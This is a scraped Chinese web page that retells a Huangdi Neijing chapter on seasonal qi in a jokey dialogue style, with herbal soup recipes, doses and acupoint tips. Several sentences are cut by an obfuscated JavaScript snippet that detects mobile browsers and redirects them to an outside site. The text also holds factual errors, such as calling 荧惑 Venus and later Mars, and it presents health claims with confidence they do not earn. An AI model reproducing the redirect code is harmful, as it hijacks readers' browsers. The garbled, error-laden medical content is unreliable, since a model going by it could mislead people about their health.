在那古老的历法里，“初之气”的神秘时段，它就像是大自然的闹钟，一到点儿，地底下的气息就开始蠢蠢欲动，准备换个班儿了。这“地气迁”，可不是说土地公公搬家哦，而是指冬天的寒气悄悄撤退，春天的温暖和正能量正式登场。春风一吹，那叫一个“春气正”，万物仿佛都接到了春的邀请函，纷纷探出头来，展示自己的勃勃生机。花儿开了，草儿绿了，连空气里都弥漫着生命的芬芳，真是“风乃来，生布万物以荣”。 这时候，咱们人类小伙伴呢？也跟着沾光，心情那叫一个“民气条舒”，就像是冬日里的紧绷绳，终于被春风温柔地解开，整个人都舒畅开来。不过，好事成双，坏事也得提个醒，春风虽好，但“风湿相薄”，意思就是春风带着点湿气，这俩家伙一勾结，就容易下雨。“雨乃后”，春雨绵绵虽美，可也得小心湿气上身哦！ 这不，湿气一上身，问题就来了。咱们的身体就像是被雨水泡过的木头，开始出现各种小状况。比如“民病血溢”，就是血液循环可能不太顺畅，有时候会感觉脸上热乎乎的，像是小火苗在烧；“筋络拘强”，就像是筋被冻住了，伸个懒腰都费劲；“关节不利”，膝盖、手肘这些关节，好像一夜之间就老了十岁，动起来咯咯响；“身重”，整个人像是被灌了铅，走两步就累得不行；“筋痿”，哎呀，这更严重了，感觉肌肉都软绵绵的，使不上劲儿。 这章没有结束，请点击下一页继续阅读！ 六元正纪大论第七十一（六） 黄帝悠悠地问岐伯：“老岐啊，你这博学多才的，快给我讲讲那少阴之政是个啥情况？”岐伯一听，嘿，这可是个展示学问的好机会，于是慢悠悠地开了口：“皇上您问对人啦！这少阴之政啊，它跟子午年可是紧密相关的。咱们得从天文历法说起，子午年嘛，就是壬子、壬午这两年，那可是少阴当道的日子。” 黄帝一听，来了兴趣：“哦？这少阴当道，有啥特别之处？”岐伯捋了捋胡子，继续说道：“皇上您看，这少阴一上台，风气可就大了。不是我说，这风气大得跟鼓风机似的，呼呼地吹，咱们自然界里的万物啊，都得跟着这风气摇摆。树木花草，咔嚓咔嚓地响，就像是开了场大自然的音乐会，不过这可是个‘启拆’音乐会哦，您知道启拆是啥吗？就是裂开、分开的意思，万物都在这股力量下开始生长、分裂。” 黄帝听得津津有味，笑道：“哈哈，老岐你这比喻真有意思。那要是这风气过了头，会发生啥呢？”岐伯叹了口气：“风气过猛，可就不是好事了。它会变得跟狂暴的巨兽一样，东拉西扯，摧枯拉朽，树木、房屋，甚至咱们人的身体，都可能被这力量给弄伤了。所以啊，这时候人们就容易生病，特别是那种觉得胸腹部胀满、不舒服的病。” 黄帝一听，眉头紧锁：“这可如何是好？咱们得想办法预防啊！”岐伯点头：“皇上英明。预防嘛，其实也不难。咱们得顺应天时，调整作息，吃点对应的药膳，再练练养生功，自然就能强身健体，抵御这少阴之政带来的不利了。” 黄帝一听，眼睛一亮：“药膳？快快说来听听！”岐伯微微一笑，开始讲述起一个古老的方剂：“这方剂啊，咱们就叫它‘少阴保健汤’吧。材料嘛，得挑些能祛风理气、健脾和胃的。比如说，防风30克，这可是祛风的高手；白术20克，健脾益气的；还有陈皮15克，理气消食的；再加上党参10克，补补元气。把这些材料放到砂锅里，加上适量的水，小火慢炖个一两个时辰，等到汤色浓郁，香气扑鼻，就可以出锅啦！” 黄帝一听，哈哈大笑：“老岐啊，你这方剂听起来就不错，朕一定要试试看！不过话说回来，这少阴之政对人的脉象有啥影响吗？”岐伯正色道：“皇上问得好。少阴之政啊，它影响的脉象主要是弦脉。弦脉嘛，就像琴弦一样紧绷绷的，这说明人体内的风气太盛了。要是这时候再摸到脉象跳动得急促有力，那可能就是身体在警告咱们，得赶紧调理调理了。” 黄帝点了点头，若有所思：“原来如此。那朕以后可得好好观察自己的脉象，可不能让它给骗了。”岐伯笑道：“皇上圣明。不过啊，观察脉象只是其中的一部分，更重要的是要养成良好的生活习惯，这样才能真正达到养生的目的。” 说到这里，岐伯突然话锋一转：“皇上啊，您知道咱们身体上有个穴位，跟这少阴之政特别相关吗？”黄帝一愣：“哦？是什么穴位？”岐伯神秘一笑：“那就是咱们脚底的涌泉穴。涌泉穴啊，它可是肾经的起始穴，肾气从这里源源不断地涌出，滋养全身。要是咱们能经常按摩这个穴位，就能帮助身体更好地适应少阴之政带来的变化了。” 黄帝一听，来了精神：“涌泉穴？听起来真是个好穴位！那要怎么按摩呢？”岐伯耐心地解释道：“皇上您看，这涌泉穴就在咱们脚底的正中间，凹陷处。您可以用双手的大拇指，对着这个穴位，轻 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14318220|152391||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 轻地按揉，每次按揉个十分钟左右，直到感觉脚底发热为止。这样坚持下去，您就会发现身体越来越棒了！” “客运五气顺序”，说白了，就是按照特定的顺序来调整身体的“小宇宙”。这顺序是：太角（咱们就叫它“超级号角”吧）、少徵（小巧玲珑的“小喇叭”）、太宫（沉稳大气的“大提琴”）、少商（清脆悦耳的“小提琴尖音”）、还有太羽（悠长深邃的“低音大提琴”），最后这个太羽，咱们就说是“终极回响”，完美收官！ 说到五音疗法，那可真是厉害了！想象一下，你要是心情烦躁，听点“超级号角”的音乐，立马就能感受到一股清风拂面，心情豁然开朗；要是觉得萎靡不振，来点“小喇叭”的旋律，保证你精神抖擞，像打了鸡血一样；还有啊，“大提琴”的低沉能让你心静如水，“小提琴尖音”的清脆能提神醒脑，“低音大提琴”的悠长则能让你彻底放松，仿佛置身于云端之上。 “少阴”、“太徵”、“阳明”这些啊，在古代中医里可都是大名鼎鼎的经络和脏腑的代名词。不过呢，现代中医为了方便大家理解，给它们起了更接地气的名字。比如，“少阴”啊，咱们现在一般说的是“手少阴心经”和“足少阴肾经”，就像是咱们身体的“情感调节器”和“能量库”；“太徵”呢，其实跟现代的“手少阳三焦经”有点关系，它就像是咱们身体的“交通警察”，负责疏通各个脏腑之间的“交通”；“阳明”嘛，那就是大名鼎鼎的“手阳明大肠经”和“足阳明胃经”了，它们可是咱们身体的“清洁工”和“营养师”，专门负责消化和排泄的。 本小章还未完，请点击下一页继续阅读后面精彩内容！ 六元正纪大论第七十一（七） 说起这“少阴司天之政”，如果古代有天气预报员，他可能会这样说：“嘿，朋友们，今年啊，咱们这位‘少阴大大’掌管天气大权，它的运作可比咱们预期的还要快半拍呢！就像你早上闹钟还没响，人就已经精神抖擞地坐在床边了。这地上的气息啊，严肃得跟老师开会似的，一丝不苟；而天上呢，晴空万里，明亮得仿佛连外星人都能看清咱们的地球村。” “说到这天气变化，简直是冰火两重天的节奏啊！冬天和夏天手拉手来了一场说走就走的旅行，寒冷和炎热还玩起了混搭，热得跟吃了辣椒似的，还得加点干燥当调料。云朵们像是参加马拉松，嗖嗖地往雨神的宫殿里跑，就为了那一场场及时雨的降临。这时候，湿气也趁机出来溜达，整个大自然就像是被精心调配过的SPA，滋润得恰到好处。” “更神奇的是，这时候天上的金星（荧惑）和太白星（金星在古代的叫法之一，其实它们都是金星啦，这里为了趣味性保留古称）仿佛也在为这美好的天气点赞，它们在夜空中闪烁着，像是在说：‘看，我们多和谐！’而咱们大地上的政策啊，也是清明公正，指令明确，就像红绿灯一样，让人一看就懂，该干啥干啥。就连农作物都跟着沾光，红色的稻谷和白色的麦子，那叫一个丰收满满！” “但是呢，这天气变化太快，就像爱情来得太快就像龙卷风，水火不相容的寒热之气在天地间你来我往，争斗不休。结果呢，咱们老百姓可遭殃了，咳嗽、气喘就像老朋友一样不请自来，鼻血、便血也来凑热闹，鼻子不通气，喷嚏连连，眼睛红得像兔子，眼角还发炎长疮，这还不算，寒气还能偷偷溜进胃里，让人心痛、腰痛，肚子胀得像个大气球，嗓子眼干得像沙漠，脸上还可能肿得跟包子似的。” 说到治疗嘛，咱们老祖宗可是有一套！首先，咱们来个“穴位按摩大法”。想象你的手臂上有两个超级英雄穴位——“曲池”（位于肘横纹外侧端，屈肘，当尺泽与肱骨外上髁连线中点）和“合谷”（在手背，第1、2掌骨间，当第二掌骨桡侧的中点处），每天早晚给它们来个“温柔拥抱”，按摩几分钟，就能帮你驱散体内的寒热邪气，让你的身体恢复到“四季如春”的状态。 再来个“药膳小灶”。咱们来个“金银花绿豆汤”，听起来就像是把夏天的清凉和秋天的滋润完美结合在了一起。金银花（30克）清热解毒，绿豆（100克）消暑利尿，再加上适量的冰糖调味，熬煮成一锅清甜可口的汤水。每天来一碗，保证你体内的“小火山”和“小冰箱”都能和谐相处，再也不打架了！ 至于脉象嘛，这可是中医的独门秘籍，咱们也来点接地气的解释。想象一下，你的脉搏就像是一条小溪，正常情况下，它应该是潺潺流动，不快不慢，清澈见底。但如果体内寒热交加，这条小溪就可能变得“汹涌澎湃”或者“结冰封冻”。这时，找个老中医给你把把脉，他们就像是溪边的智者，通过观察水流的速度、温度、清澈度，就能判断出你体内的“天气状况”，然后对症下药，让你恢复健康。 “初之气”，那是大自然一年轮回里头的第一个小确幸，就像是新年的第一缕阳光，悄悄告诉你：“嘿，换季啦！”这时候啊，地底下的气息开始偷偷换班，干燥的老兄慢慢收拾行囊，准备撤退，而寒冷小弟则悄悄探出头来，宣告着：“冬天的小尾巴，我接住 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14318221|152391||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 啦！” 小动物们呢，一看这架势，赶紧又躲回窝里，开启了“冬眠2.0”模式，仿佛在说：“哎呀，这天气，还是被窝里最安全！”河面也开始结冰，霜花儿时不时来场说走就走的旅行，从天空悠悠然落下，给大地披上了一层薄薄的银纱。风，也不再是那个温柔的春姑娘了，而是带着点刺骨的凉意，告诉你：“嘿，该添衣了！” 这时候啊，人体的阳气也像是被冻得有点儿“郁闷”了，不那么活跃了。咱们老百姓呢，一个个都变得跟松鼠似的，门窗紧闭，生怕一丝寒风溜进来。结果呢，这身子骨儿啊，就像是老旧的机器，关节开始“咔嚓咔嚓”作响，特别是那腰啊、背啊，好像被谁偷偷按了暂停键，动不动就喊疼。 别急，别急，这还没完呢！接下来啊，夏天的预热模式就要开启了，就像是火锅店里的空调，明明外面还冷飕飕的，里面却已经预热得差不多了。这时候啊，不光是外面冷，咱们身体里头也可能“上火”，内外夹击之下，各种小疮小疡就找上门来了，就像是皮肤在抗议：“喂，主人，该注意饮食啦，别再让我受这冰火两重天的罪了！” 说到治疗啊，咱们老祖宗可是有不少妙招的。比如啊，对于这关节僵硬、腰背疼痛的问题，咱们可以找找身体上的“小开关”——穴位。现代医学给它们取了更直观的名字，比如“委中穴”，就在膝盖后面那个窝窝里头，按一按，就像是给关节松了松绑，瞬间感觉轻松了不少。还有“肾俞穴”，在腰部两侧，多揉揉，就像是给肾脏加了个暖宝宝，寒气都跑得远远的了。 小主，这个章节后面还有哦，请点击下一页继续阅读，后面更精彩！ 六元正纪大论第七十一（八） 咱们得明白，“必抑其运气，资其岁胜，折其郁发，先取化源，无使暴过而生其病也。”这句话，说白了就是：咱们得根据每年的气候特点（运气），找个平衡点（岁胜），别让身体里的那股子“火”（郁发）憋得太狠，得提前准备好应对（取化源），别等到问题大了才后悔（生病）。 想象一下，你的身体就像一台精密的机器，每年都得根据“天气预报”（岁运）来调整保养策略。比如今年要是“湿气重”，那你就得多吃点利湿的食物，像是薏米、红豆这些“岁谷”，让你的身体保持清爽，不被湿气拖后腿，这就像是给你的身体充了个“真气满格”的buff，战斗力直线上升！ 而“间谷”呢，就像是给身体准备的“备用粮草”，能帮你避开那些不时之需的小病小痛。比如偶尔吃点与当季不太一样的食物，给味蕾来个惊喜，同时也让身体的小防线更加坚固，防止那些“虚邪”（小病小灾）趁虚而入。 接下来这段，“岁宜咸以软之而调其上，甚则以苦发之以酸收之而安其下，甚则以苦泄之。”听起来复杂，其实咱们可以理解为：根据年份的不同，有时候得吃点咸的东西，帮助身体软化“硬气”，让上面的（比如心肺）更顺畅；要是情况严重点，就用点苦味的食物来“激发”一下，再用酸味的食物来“收尾”，让下面的（比如肝肾）也安安稳稳；再严重点，那就得用苦味的东西来“大扫除”了，把体内的毒素垃圾都排出去。 说到这，我得插一句，这苦味、酸味的食物啊，就像是身体的“清洁小分队”。比如苦瓜能清热解暑，柠檬则是酸中带甜，既能生津止渴，又能帮助消化。至于咸味嘛，适量吃点海带、紫菜这些海产品，既能补充碘元素，又能让身体感觉轻盈不少。 不过，别急着去超市大采购哦，这里还得提一句，每个人的体质不同，得根据自己的情况来调整。比如你是“湿热体质”，那可能得少吃点咸的，多吃点清淡的；如果你是“寒性体质”，那冬天来点羊肉汤，暖身又滋补，不就是最好的“岁谷”嘛！ 至于方剂嘛，古代的智慧可是深奥得很，咱们就举个简单的例子——苦瓜柠檬饮。这个方子简单到不行，但效果却杠杠的。苦瓜一根，新鲜柠檬半个，蜂蜜适量。把苦瓜切片，柠檬榨汁，混合后加蜂蜜调味，一杯清新解暑的饮品就完成了。这不就是“苦发之以酸收之”的完美实践嘛！当然，如果你追求更精准的配比，那可以试着用苦瓜50克，柠檬汁30毫升，蜂蜜20克，这样的比例既不会过于苦涩，又能保留柠檬的酸甜，还能享受到蜂蜜的滋养，简直是夏日里的“养生小确幸”！ “适气同异而多少之，同天气者以寒清化，同地气者以温热化。”这话听着玄乎，其实意思就是说啊，咱们得根据天气地气的不同，来调整身体的平衡，天气冷的时候，就用点清凉的方法来调和；地气暖的时候，就用点温热的方法来平衡。 咱们现代人，虽然不用天天站在山顶冥想，但也能从这句话里学到不少养生的小妙招。比如说，夏天热得跟蒸笼似的，咱们就别再吃什么火锅、烧烤这些“火上浇油”的东西了，来点西瓜、绿豆汤，清凉解暑，这才叫“用热远热”。反过来，冬天冻得直哆嗦的时候，就别再贪图冷饮、冰淇淋的快感了，炖点羊肉汤、喝点姜茶，暖身又暖心，这就是“用寒远寒”。 说到吃，这里还得提一句“食宜同法”，就是说啊，咱们吃东西也得 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14318222|152391||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 讲究个时节，跟着大自然的节奏来，这样才能吃出健康，吃出美味。当然了，有时候咱们的身体也会“调皮”，明明是大热天，却感觉冷飕飕的，这时候就得“有假则反”，别被表象迷惑了，该温补还是得温补，这就是中医里讲的“辨证施治”。 黄帝说：“好呀，那我们接下来聊聊厥阴风木主导的那一年气候和物候会是个啥情况呢？岐伯，你给咱细细道来。” 岐伯捋了捋胡须，笑道：“这事儿啊，得从巳年和亥年说起，它们就是厥阴风木之气唱主角的时候啦！这时候啊，就像是自然界的乐队里，厥阴风木这位指挥家拿起了他的‘少角’指挥棒，而少阳相火则在一旁随时准备给它加点热情的火候。这清热两股力量吧，就像是舞台上的主角和配角，有时候主角风头正盛，有时候配角也不甘示弱，但总的来说，它们还是和谐共处的，就像是音乐里的主旋律和副歌，配合得天衣无缝，共同演绎着大自然的乐章。这‘同正角’呢，就是说这时候的风啊，特别正，带着一股清新脱俗的劲儿。” 黄帝一听，来了兴趣：“哦？这么说来，这一年里还有啥特别的天象或者自然现象吗？” 岐伯接着说：“有啊，比如丁巳年和丁亥年，那可是天符之年，就像是老天爷亲自下的订单，让这一年的气候和物候变化特别有规律，也特别有看点。这时候的运气啊，用咱们中医的话说，就是‘风清热’盛行。风嘛，大家都知道，吹得那叫一个舒服，但也别小看了这热，它可是能调节万物生长的。就像咱们炖汤，火候不够，汤不香；火候过了，汤又苦。这风热二气，也是恰到好处，才能让万物欣欣向荣。” 这章没有结束，请点击下一页继续阅读！ 六元正纪大论第七十一（九） 说起这厥阴司天之政啊，咱们得先从天文历法聊起，不过别担心，咱们不上天，也不入地，就轻松愉快地聊聊这古代的气象学怎么影响咱们的日常生活和健康。想象一下，那是一个没有天气预报，但古人却能根据天地间的微妙变化预测未来的神奇时代。 话说，这厥阴司天呢，就像是天空中的大导演，它一挥手，整个自然界的气运就开始按照它的剧本上演了。不过呢，这位大导演有点调皮，它让气化的运行比正常年份晚了那么一点点，就像是电影开场前的小插曲，让人有点小期待。但别急，接下来，所有的年份，不管是大年还是小年，这气化的节奏又神奇地同步了，就像是所有观众都跟着导演的节拍一起摇摆起来。 这时候，天空可不太平哦，就像是调皮的孩子在捣乱，风云变幻莫测，而大地呢，却稳稳当当，像个老成的家长，默默地承受着一切。风，从高高的地方吹来，带着一股清新脱俗的气息，紧接着，炎热就跟着风大哥的屁股后面来了，仿佛是夏天的预告片，让人提前感受到了那股子热劲儿。 云呢，就像是天空的快递员，急匆匆地往雨水的仓库赶，准备着给大地送上一场场滋润的甘霖。这样一来，湿气就开始在天地间弥漫开来，万物得到了滋养，生机勃勃。风和火这对CP，在这个季节里可是合作无间，它们的默契配合，在天空中对应着岁星（木星，古人认为它影响着农作物的生长）和荧惑（火星，象征着战争与热情），仿佛在告诉我们，这一年将是充满活力和变革的一年。 但话又说回来，这厥阴司天之政可不是吃素的，它的政策（自然界的规律）有点“挠”（不稳定），命令（气候变化）执行得那叫一个迅速，让人措手不及。这时候，咱们得吃点啥来应对呢？谷物中的青色（比如小麦）和红色（比如红豆）就成了好选择，它们能帮助我们调和身体，适应这种快速变化的气候。而那些被提到“太”（太过）的间谷（非主要谷物），比如某种特别的谷物，吃多了可能会消耗我们的精力，就像是玩游戏太久，电量掉得飞快，对应的，我们的身体也会有些小状况，比如脉象中的“文角”（可能是指脉象细而软，像文人笔下的角字，柔和但缺乏力量）和“品羽”（可能是指脉象轻飘不定，如同羽毛般随风摇曳），都在提醒我们要注意保养了。 说到这，不得不提那风燥火热之间的斗争，它们就像是武侠小说里的正邪两派，你来我往，胜败交替。结果呢，那些本该冬眠的小虫子们都被这股子热浪给唤醒了，提前出来透气；河流里的水也不再结冰，仿佛冬天永远不会再来。这时候，热病就容易在下半身肆虐，像是给你的脚丫子来了个热情的拥抱；而风病呢，则喜欢往上跑，专门找你的头面部麻烦，让你头疼脑热，苦不堪言。至于中间呢，风燥的斗争更是直接体现在我们的身体上，一会儿皮肤干燥，一会儿喉咙发痒，真是让人哭笑不得。 不过，别担心，咱们老祖宗有的是办法。比如，对付这种风燥火热，咱们可以来个“清热润燥汤”。这方子啊，简单又实用，就像是给你的身体请了个私人医生。咱们准备： - 生地黄30克（这可是滋阴润燥的高手，就像给你的身体涂上一层保湿霜） - 麦冬20克（润肺清心，就像是给你的心肺开了个小风 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14318223|152391||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 扇，清凉一夏） - 石膏15克（清热泻火，就像是给你的身体装了个灭火器，随时准备灭火） - 知母10克（滋阴降火，它就像是给你的身体找了个平衡器，不让火势太大，也不让阴气太弱） - 杏仁10克（宣肺止咳，就像是给你的肺开了个小窗户，让浊气出去，清气进来） - 桑叶10克（疏散风热，它就像是给你的身体请了个风婆婆，把热风都吹走） - 枇杷叶10克（清肺止咳，它就像是给你的肺洗了个澡，清爽又舒适） 把这些药材放到锅里，加上适量的水，大火煮开后转小火慢慢炖，炖个半小时左右，滤掉药渣，剩下的汤水就是咱们的“清热润燥汤”了。每天喝上一碗，保证你身体里的风燥火热都被调理得服服帖帖的。 当然啦，除了吃药，咱们还得注意生活习惯。这时候，多喝水，多吃水果蔬菜，少吃辛辣油腻，就像是给你的身体来了个“绿色革命”，让一切回归自然和平静。还有啊，多出去走走，呼吸新鲜空气，感受一下大自然的怀抱，说不定还能遇到什么奇遇呢！ 这“初之气，寒始肃，杀气方至”啊，咱们得先穿上个小马甲，免得被这古人的文字冻得直哆嗦。这话儿说的是，在一年里头，刚开始那会儿，天气就开始玩儿起“高冷范”了，寒风那个吹啊，就像是冰箱里刚拿出来的冰棍儿，透心凉，心飞扬！这时候，大自然界的“杀气”——啊不，是那股子寒气，正悄悄地、慢慢地靠近咱们呢。 小主，这个章节后面还有哦，请点击下一页继续阅读，后面更精彩！ 六元正纪大论第七十一（十） 你体内那股子“郁气”，就像是周末宅在家里太久，没出门透透气的感觉，整个人闷得慌，对吧？这时候，咱们就得想办法给它“折”一折，也就是疏导疏导，别让这股子闷气在体内捣乱。怎么疏导呢？得从源头上找方法，那就是“资其化源”，说白了，就是给身体提供足够的能量和营养，让它自己有能力去化解这些不愉快。再“赞其运气”，就像是给身体加油打气，让它运转得更顺畅，不让那些邪门歪道的病气占了上风。 说到具体做法，咱们得跟着大自然的节奏来。比如，一年四季，春夏秋冬，每个季节都有它的特性。在“岁宜”这一块儿，老祖宗告诉我们，春天呢，万物复苏，得用点儿“辛”味的东西来调调上面的肺和呼吸道，比如吃点儿姜、葱这些，让身体从上到下都感受到春天的气息。到了秋冬，天气凉了，就得用“咸”味的食物来照顾下焦，比如海带、紫菜这些，帮助肾脏和肠道排排毒，暖暖身子。 但记住啊，火大的季节，比如夏天，咱们得“畏火之气，无妄犯之”，别没事找事，吃一堆上火的东西，否则，嘿嘿，到时候脸上长痘，嘴里长泡，可别怪我没提醒你哦！ 再来说说饮食上的“四气”原则——用温远温，用热远热，用凉远凉，用寒远寒。这话听起来绕口，其实意思很简单：如果你住在热得要命的地方，那就别再吃那些热腾腾、火辣辣的食物了，得找点儿清凉解暑的；相反，在冷得直哆嗦的地方，也别再贪恋那些冰冷寒凉的食物了，不然，身体可受不了这双重打击！吃东西也得讲究个平衡，对吧？ 当然啦，有时候，咱们的身体还会玩点儿“假动作”，比如明明是寒性体质，却偏偏喜欢吃冰淇淋，这就是“有假反常”。遇到这种情况，咱们也别急着指责身体，得慢慢引导，找到真正的需求，调和阴阳，让身体回归正轨。 感到胸闷气郁时，不妨揉揉“膻中穴”（就在两乳头连线的中点），这可是个“开心穴”，按一按，心情立马好起来，郁气也就跟着散了。还有“足三里”（小腿外侧，膝盖骨下方约三寸的地方），这可是个万能穴，常按能提高免疫力，调理脾胃，简直是身体的小太阳！ 黄帝说：“好嘞，您这一番话，简直是包罗万象，说尽了天地间的奥秘啊！不过，我还是想再问问，咱们怎么验证您说的这些自然现象和人体健康之间的关系呢？总不能光靠嘴上说说吧？” 岐伯一听，哈哈一笑，说：“陛下这问题问得，真是明察秋毫，一针见血啊！咱们说的这‘六气’——风、寒、暑、湿、燥、火，它们在天地间可都是有规律地走来走去的，就像上班族打卡一样，什么时候该到哪个位置，那是丝毫不差的。所以啊，咱们要想观察它们的动静，就得挑个黄道吉日，比如每年的正月初一，天刚蒙蒙亮的时候，这时候天地间的气息最纯净，咱们抬头望望天，低头瞅瞅地，瞅瞅这六气都在哪儿溜达呢，心里就有数了。” “再比如说吧，要是今年的气候特别给力，能量满满，那六气中的某个家伙就会提前报到，咱们称之为‘运有余’。反过来，要是气候疲软，能量不足，那它们就会姗姗来迟，这就是‘运不及’。这就像咱们过年发红包，有钱人多发点，红包早早就飞来了；没钱的，可能得拖到元宵节才勉强挤出个笑脸来。这是大自 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14318224|152391||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 然的法则，也是气的常态嘛。” “当然了，也有那么几年，气候刚刚好，既不过分热情，也不冷漠疏离，咱们就叫它‘正岁’。这时候，六气就像守时的朋友，不早不晚，刚好在约定的时间出现，多和谐啊！” 黄帝一听，眼睛一亮，说：“哎呀，您这一解释，我算是彻底明白了！不过，咱们中医讲究的是天人合一，这六气变化，在人体上又会怎么体现呢？总不能只是看看天象就算了吧？” 岐伯点点头，说：“问得好！六气变化，直接影响到咱们人体的十二经络，就像天气预报能预报各地的天气一样，咱们也能通过观察身体的变化，预知疾病的到来。比如说，春天风气盛，肝经就容易出问题，人会感觉心情烦躁，眼睛干涩，这时候按摩一下太冲穴（位于脚背第一、二跖骨结合部之前凹陷处），就像是给肝脏做了个SPA，立马就舒服多了。” “夏天暑气重，心经就容易上火，人会感觉心跳加速，睡眠不好，这时候咱们可以揉揉内关穴（位于前臂掌侧，腕横纹上2寸，掌长肌腱与桡侧腕屈肌腱之间），就像是给心脏送上一杯冰镇的柠檬水，清凉解渴，还能安神定志呢！” “至于方剂嘛，那就更讲究了。比如说，对付湿气重的，咱们有个经典方子叫‘四神汤’，由淮山、芡实、莲子、茯苓组成，每样来个30克，加水煮成一大锅，喝起来既美味又祛湿。想象一下，这四样宝贝就像是四个英勇的战士，分别负责清理肠道、健脾开胃、固肾益精、利水渗湿，联手把体内的湿气一网打尽，是不是很酷？” 这章没有结束，请点击下一页继续阅读！ 六元正纪大论第七十一（十一） 黄帝说：“嘿，岐伯老兄，我特别好奇，你说的那个天干地支与人体脏腑经络对应的事儿，能给我详细讲讲不？”岐伯微微一笑，捋了捋长须，缓缓道来：“这事儿啊，得从天文说到人体，咱们慢慢来。” “你看啊，比如说甲辰年和甲戌年，这两年呢，就像是大地母亲（太宫，现代可以理解为脾胃的强化状态）特别关照，她的力量直接渗透到了咱们的三阴经里的太阴经（脾经）。这就好比是家里老妈子亲自下厨，给你炖了一锅热腾腾的山药排骨汤，滋补得你脾经舒畅。而壬寅年和壬申年呢，就像是春风拂面（太角，对应肝的强盛），这股子力量直接吹进了厥阴经（肝经），让你感觉肝气疏达，整个人都精神焕发，好像吃了什么‘疏肝解郁丸’，还是纯天然无副作用的那种。” “庚子年和庚午年，商音（肺的音阶）嘹亮，太商之气加持阳明经（胃经），这就好比是给你的胃加了个超级引擎，吃嘛嘛香，消化力MAX！这样的组合，每隔六年就会轮回一次，就像是身体的小宇宙在按照特定的节奏跳舞。” “再来说说癸巳年和癸亥年，这时候呢，就像是轻快的旋律（少徵，对应心的温和状态）悄悄环绕在少阳经（胆经）周围，让你的心情变得格外舒畅，仿佛是在听一首《小幸运》，整个人都沉浸在幸福的泡泡里。而辛丑年和辛未年，则是低调沉稳的音符（少羽，对应肾的收敛状态）稳稳落在太阳经（小肠经）上，就像是给身体穿上了一层保暖内衣，温暖又安心。” “癸卯年和癸酉年，少徵之光再次照耀少阴经（心经），让你的内心充满光明与温暖，就像是随身携带了一个正能量充电宝。这三年一循环的规律，就像是自然界的四季更迭，有序而和谐。” “接下来，咱们换个角度，戊子年和戊午年，太徵的热烈（对应心火旺盛）直接‘空降’到少阴经（心经），就像是炎炎夏日里的一把火，烧得你激情四溢，不过别担心，这是健康的热情。戊寅年和戊申年，同样的火势还影响到了少阳经（胆经），让你勇敢无畏，就像吃了‘豹子胆’一样，勇往直前。丙辰年和丙戌年，则是太羽的沉稳（对应肾水的深邃）覆盖在太阳经（小肠经）上，像是给身体披上了一层厚厚的铠甲，保护你免受外界侵扰。” “丁巳年和丁亥年，少角的清新（对应肝的柔和）轻轻拂过厥阴经（肝经），就像是春天的微风，温柔地唤醒了你沉睡的活力。乙卯年和乙酉年，少商的清亮（对应肺的清爽）照耀阳明经（胃经），让你的胃口大开，吃啥都香，感觉像是每天都在享用满汉全席。己丑年和己未年，少宫的醇厚（对应脾胃的平和）滋养着太阴经（脾经），就像是每天都在喝‘人参健脾丸’的升级版，让你的脾胃强健如牛。” “除了这二十四年一次的特殊组合，其他年份呢，就没有这种明显的天干地支与经络的直接联系了，就像是普通的日子，平淡却也有它的美好。” 岐伯说到这里，黄帝听得津津有味，忍不住插嘴：“嘿，岐伯，你这说的比故事还精彩，那要是我们现代人想根据这些来调整身体，该怎么做呢？” 